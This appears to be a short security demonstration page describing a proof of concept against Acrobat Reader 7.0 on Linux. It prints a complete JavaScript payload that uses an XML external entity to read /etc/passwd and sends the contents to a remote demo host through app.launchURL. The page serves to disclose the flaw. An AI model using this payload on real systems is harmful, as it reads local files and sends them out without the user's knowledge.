

When you move the mouse into the above text field, a Javascript will try to fetch /etc/passwd from your computer, and instruct your browser to go to <http://shh.thathost.com/secdemo/show.php> with the content of the file as a parameter.

In other words: The script reads a file from the local computer, and sends it off to a remote site.

At least this works on my recently updated Debian GNU/Linux box, with Acrobat Reader 7.0.

The script looks like this:

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var xml="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xee
SYSTEM \"\/etc/passwd\"> ]><foo>&xee;</foo>";
var xdoc = XMLData.parse(xml, false);
app.launchURL("http://shh.thathost.com/secdemo/show.php?head=Your+\/etc/passwdboot.ini&text="
+ escape(xdoc.foo.value));
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